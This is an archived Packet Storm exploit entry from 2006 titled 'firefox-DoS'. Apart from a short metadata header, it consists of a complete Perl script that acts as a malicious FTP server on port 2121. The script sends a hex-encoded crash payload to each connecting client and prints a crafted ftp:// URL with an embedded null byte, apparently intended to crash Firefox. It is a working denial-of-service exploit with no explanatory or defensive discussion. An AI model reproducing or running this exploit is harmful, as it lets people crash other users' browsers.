firefox-DoS.txt

2006-08-27T00:00:00
ID PACKETSTORM:49432
Type packetstorm
Reporter Tomas Kempinsky
Modified 2006-08-27T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
#author: tomas kempinsky  
  
use strict;  
use Socket;  
  
my $port = shift || 2121;  
my $proto = getprotobyname('tcp');  
my $payload =  
"\x32\x32\x30\x20\x5a\x0d\x0a\x33".  
"\x33\x31\x20\x5a\x0d\x0a\x35\x30".  
"\x30\x20\x44\x6f\x53\x0d\x0a\x35".  
"\x30\x30\x20\x5a\x0d\x0a";  
  
  
socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";  
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";  
  
my $paddr = sockaddr_in($port, INADDR_ANY);  
  
bind(SERVER, $paddr) or die "bind: $!";  
listen(SERVER, SOMAXCONN) or die "listen: $!";  
print "ftp://D:oS@\x0localhost:2121/\n";  
  
my $client_addr;  
while ($client_addr = accept(CLIENT, SERVER)) {  
# find out who connected  
my ($client_port, $client_ip) = sockaddr_in($client_addr);  
my $client_ipnum = inet_ntoa($client_ip);  
my $client_host = gethostbyaddr($client_ip, AF_INET);  
print ": $client_host", "[$client_ipnum]\n";  
# send them a message, close connection  
print CLIENT $payload;  
close CLIENT;  
}  
  
  
`